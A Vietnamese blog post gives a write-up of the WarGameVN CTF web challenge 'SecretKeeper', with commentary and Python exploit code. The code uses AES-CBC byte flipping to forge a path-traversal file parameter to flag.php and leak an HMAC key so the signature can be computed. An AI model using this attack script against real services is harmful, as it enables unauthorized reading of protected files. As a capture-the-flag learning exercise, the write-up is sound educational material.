[WarGameVN CTF] SecretKeeper (Web300)

Đây là nơi trao đổi bí mật giữa các tên trùm.

Source: ~

 

Rất cảm ơn BTC vì đã gìn giữ để cái URL nó sống đến tận bây giờ sweet_kiss

Đây là một bài mà hồi đó, mình nhìn nó với một sự ngưỡng mộ sâu sắc, và thậm chí, ngay cả khi có một vài member kiệt xuất trong team mình miên man bình luận về nó thì mình vẫn như một thằng lơ ngơ không hiểu gì.

Mình thích cái cảm giác lâu lâu quay lại một bài nào đó, một bài mà trước đây mình không làm được, thậm chí không biết nó hỏi cái gì, nó cần cái gì, rồi sau đó nó hét lên với mình: “Cờ của mày đây!”, cảm giác thật thanh thản và bình yên sexy_girl

Ngày còn bé (cụ thể là cấp 3), mình cực kỳ yếu tích phân, và dù cho đã cố lăn lộn với nó trong suốt 3 năm học, cộng với vài ngày sát kỳ thi ĐH, mình vẫn ra về tay trắng. Mình nhớ như in cái cảm giác đó, cái cảm giác mà mình thực sự đã sinh ra vì một mục đích khác, một mục đích mà không liên quan khỉ gì đến tích phân cả, rằng thì là cả đời này mình cũng vẫn nấp dưới danh nghĩa của một thằng không thể giải được bài tích phân nào trong đề thi ĐH emo_popo_cry

Ấy thế mà lên ĐH, mình lại bá đạo vô cùng về mấy cái thứ gớm ghiếc này, tất cả thay đổi, cuộc sống thay đổi, lòng người cũng thay đổi. Mình từng ghét Vật Lý, rồi mình yêu Vật Lý, mình từng ghét Console, rồi mình yêu Console, mình từng ghét Tích phân, và rồi mình yêu Tích phân. Lý do cũng chỉ có một, đó là nếu ta yêu một ai đó, ta sẽ… không còn ghét họ nữa (đệch after_boom). Thôi nói tóm lại, là một khi mình đã thấy mặt lợi ích của cái gì đó mang lại, thì mình sẽ không còn thấy nó vô bổ nữa…

ops emo_popo_waaaht emo_popo_sweat

Nội dung chính

Ở bài này, chúng ta có một vùng để nhập séc rét, điền thử:

^_^

và nhấn Save, chúng ta có một cái link:

http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9/?file=dbf8adc50a348b9e808d204825c7aed2d4430f900ed7b96daec2a3c1d6665a2792cdb3104d2666e64e069d87cd286765d29b0c16ca1ab2d26249735974d6fb50&sign=730646501b5d8c9a234686a9bcc580bb

Khá dài và khá hãi… Xem source thì có được:

[html]

^_^

[/html]

Như đề bài đưa, source nằm ở index.phps, xem nó thôi:

[php]








SecretKeeper v1.0

SecretKeeper v1.0

Your secret

“;

}elseif(!empty($_GET[‘file’])){
$decrypt = explode(“|”,decrypt_($_GET[‘file’]));
$secret_filename = $decrypt[0];
$secret_hmac = $decrypt[1];
$hmac_ = $_GET[‘sign’];
$error = false;
if(strlen($secret_hmac) != 16){
echo “HMAC: Bad length! (“.strlen($secret_hmac).”)
“;
$error = true;
}
if(hmac_($secret_filename,$secret_hmac)!==$hmac_){
echo “HMAC: Not match!
“;
$error = true;
}

?>


[/php]

Ta sẽ chia code làm 2 phần chính: Mã hóaGiải mã, còn nhiệm vụ của chúng ta là đọc file ./secret/flag.php.

Mã hóa

[php]if(!empty($_POST[‘secret’]) && is_string($_POST[‘secret’]) && strlen($_POST[‘secret’]) < 1337) { $secret_hmac = md5(_SECRET.rand(0,1337),true); $secret_filename = md5(session_id.$secret_hmac); file_put_contents("./secret/".$secret_filename,$_POST['secret']); $secret_link = encrypt_($secret_filename."|".$secret_hmac); echo "

Your secret

“;
}[/php]

$secret_hmac, $secret_filename được tạo ngẫu nhiên, sau đó ghép vào với ký tự ngăn cách là ‘|‘, cuối cùng mã hóa thành tham số file cho url. Tham số còn lại, sign, dùng cho mục đích kiểm tra tính hợp lệ của $secret_filename (mình sẽ trình bày sau).

Nói chung phần này không có gì nhiều, ta kệ nó, cho nó chơi một mình.

Giải mã

[php]elseif(!empty($_GET[‘file’]))
{
$decrypt = explode(“|”,decrypt_($_GET[‘file’]));
$secret_filename = $decrypt[0];
$secret_hmac = $decrypt[1];
$hmac_ = $_GET[‘sign’];
$error = false;
if(strlen($secret_hmac) != 16){
echo “HMAC: Bad length! (“.strlen($secret_hmac).”)
“;
$error = true;
}
if(hmac_($secret_filename,$secret_hmac)!==$hmac_){
echo “HMAC: Not match!
“;
$error = true;
}

  • Giải mã tham số file.
  • Chia làm 2 phần, ngăn cách bởi ký tự ‘|‘.
  • Phần 1 là $secret_filename, phần 2 là $secret_hmac.
  • Dùng tham số sign để kiểm tra tính hợp lệ của $secret_filename, nếu ok thì in ra nội dung của nó.
  • Như thế, chúng ta thấy được 2 việc chính cần làm:

    1. Xác định tham số file để $secret_filename trỏ đến file ./secret/flag.php.
    2. Xác định tham số sign ứng với tham số file để pass bước 4.

    Xác định tham số file

    Thuật toán mã hóa được sử dụng là AES 128bit (16 byte cho mỗi block), mode CBC, nên chúng ta có thể nghĩ ngay đến Byte Flipping emo_popo_smile

    Do $secret_filename là MD5, kích thước 32 byte, chúng ta sẽ can thiệp vào block đầu tiên của cipher, để thay đổi block thứ hai của plain text. Nhưng cũng cần lưu ý rằng block đầu của plain text sẽ thành rác, và chúng ta cần chỉnh sửa đường dẫn của file flag cho phù hợp. Ví dụ, ta có một đường dẫn hợp lệ là:

    ^#%&$%$@@$#%%^$abcde/../flag.php

    Bắt đầu từ url nhận được lúc đầu, ta dùng đoạn code sau để thu được tham số file mong muốn:

    [python]def get_filename(file):
    url = ‘http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9/?file=%s&sign=%s’ % (file, ‘xxx’)
    source = get_url_content(url)

    filename = source.split(‘cite=”./secret/’)[1].split(‘”‘)[0]
    return filename

    # === Byte Flipping 1 ===
    target = ‘aaaa/../flag.php’
    filename = ‘b764b44fd336b8281b62b257501ad3c6’
    file = ‘dbf8adc50a348b9e808d204825c7aed2d4430f900ed7b96daec2a3c1d6665a2792cdb3104d2666e64e069d87cd286765d29b0c16ca1ab2d26249735974d6fb50’.decode(‘hex’)
    for pos in range(len(target)):
    file = change_byte(file, pos, chr(ord(filename[pos+16]) ^ ord(target[pos]) ^ (ord(file[pos]))))
    print ‘file:’, file.encode(‘hex’)

    filename = get_filename(file.encode(‘hex’))
    print ‘filename: ‘, filename
    # === Byte Flipping 1 ===[/python]

    [sh]file: 8bfbfa9647289086d3d1704e6f84a594d4430f900ed7b96daec2a3c1d6665a2792cdb3104d2666e64e069d87cd286765d29b0c16ca1ab2d26249735974d6fb50
    filename: _:$╓¥ì≤¬²æ╗Uz╦[aaaa/../flag.php[/sh]

    Khá ổn emo_popo_nosebleed

    Xác định tham số sign

    Dù rằng $secret_filename xem chừng đã hợp lệ, ta vẫn chưa đọc được nội dung của nó, do bị bước 4 chặn lại. Để ý rằng, sign được tính như sau:

    [php]$sign = hmac_($secret_filename,$secret_hmac)[/php]

    mặt khác, cả $secret_filename $secret_hmac đều là các thành phần trong tham số file, được ngăn cách bởi ký tự ‘|‘, nhưng task chỉ hiển thị $secret_filename cho ta thấy.

    Để có $secret_hmac, điều duy nhất mà ta làm được, đó là Flipping thêm một Byte nữa, mục đích là thay đổi ký tự ‘|‘ thành ký tự khác, khi đó câu lệnh:

    [php]$decrypt = explode(“|”,decrypt_($_GET[‘file’]));
    $secret_filename = $decrypt[0];[/php]

    sẽ trả về $secret_filename chứa cả $secret_hmac (do không còn ký tự ngăn cách), và bằng cách lấy 16 ký tự cuối, ta có thứ mình cần emo_popo_big_smile

    Ta biết rằng ký tự ‘|‘ sẽ ở block 3 ($secret_filename là MD5, kích thước 32 byte = 2 block), nên để thay đổi nó, ta sẽ can thiệp vào block 2 của cipher, mà cụ thể là byte thứ 17. Tất nhiên điều này sẽ làm hỏng $secret_filename, nhưng hiện tại nó không còn quan trọng nữa.

    [python]file = change_byte(file, 16, ‘1’)
    filename = get_filename(file.encode(‘hex’))
    secret_hmac = filename[-16:]
    print ‘secret_hmac:’, secret_hmac.encode(‘hex’)[/python]
    [sh]secret_hmac: 271876ad58fdba9d870d1c6ad3f6f94c[/sh]

    Giờ thì chúng ta đã có thể thoải mái tính sign, like a boss ah adore:

    [python]sign = hmac.new(secret_hmac, secret_filename, hashlib.md5).hexdigest();
    print ‘sign:’, sign[/python]
    [sh]sign: 68b3b5f8599fb8939ce1b5b9cb7ce46a[/sh]

    Tổng kết

    [python]import urllib, urllib2
    import hmac,hashlib

    def get_url_content(url):
    req = urllib2.Request(url)
    source = urllib2.urlopen(req).read()

    return source

    def change_byte(string, pos, new_byte):
    new_str = ”
    for i in range(len(string)):
    if i != pos:
    new_str += string[i]
    else:
    new_str += new_byte
    return new_str

    def get_filename(file):
    url = ‘http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9/?file=%s&sign=%s’ % (file, ‘xxx’)
    source = get_url_content(url)

    filename = source.split(‘cite=”./secret/’)[1].split(‘”‘)[0]
    return filename

    # === Byte Flipping 1 ===
    target = ‘aaaa/../flag.php’
    filename = ‘b764b44fd336b8281b62b257501ad3c6’
    file = ‘dbf8adc50a348b9e808d204825c7aed2d4430f900ed7b96daec2a3c1d6665a2792cdb3104d2666e64e069d87cd286765d29b0c16ca1ab2d26249735974d6fb50’.decode(‘hex’)
    for pos in range(len(target)):
    file = change_byte(file, pos, chr(ord(filename[pos+16]) ^ ord(target[pos]) ^ (ord(file[pos]))))
    print ‘file:’, file.encode(‘hex’)

    filename = get_filename(file.encode(‘hex’))
    final_file = file.encode(‘hex’)
    secret_filename = filename
    print ‘filename: ‘, filename
    # === Byte Flipping 1 ===

    # === Byte Flipping 2 ===
    file = change_byte(file, 16, ‘1’)
    filename = get_filename(file.encode(‘hex’))
    secret_hmac = filename[-16:]
    print ‘secret_hmac:’, secret_hmac.encode(‘hex’)
    sign = hmac.new(secret_hmac, secret_filename, hashlib.md5).hexdigest();
    print ‘sign:’, sign
    # === Byte Flipping 2 ===

    # === Get Flag ===
    url = ‘http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9/?file=%s&sign=%s’ % (final_file, sign)
    print ‘source:’, get_url_content(url).split(‘

    ‘)[0]
    # === Get Flag ===[/python]

    Flag = mario_CBCm0d3_is_swag_huh_;)

    Ghi chú: Chúng ta cần để ý giá trị trả về của mỗi bước Byte Flipping, tránh để xuất hiện ‘|’, do điều này sẽ dẫn đến secret_hmac thu được bị sai.

    2 Responses

    1. ml says:

      well done :D

    2. TrungLun0112 says:

      Không hiểu gì hết =))

    Leave a Reply to ml Cancel reply

    Your email address will not be published. Required fields are marked *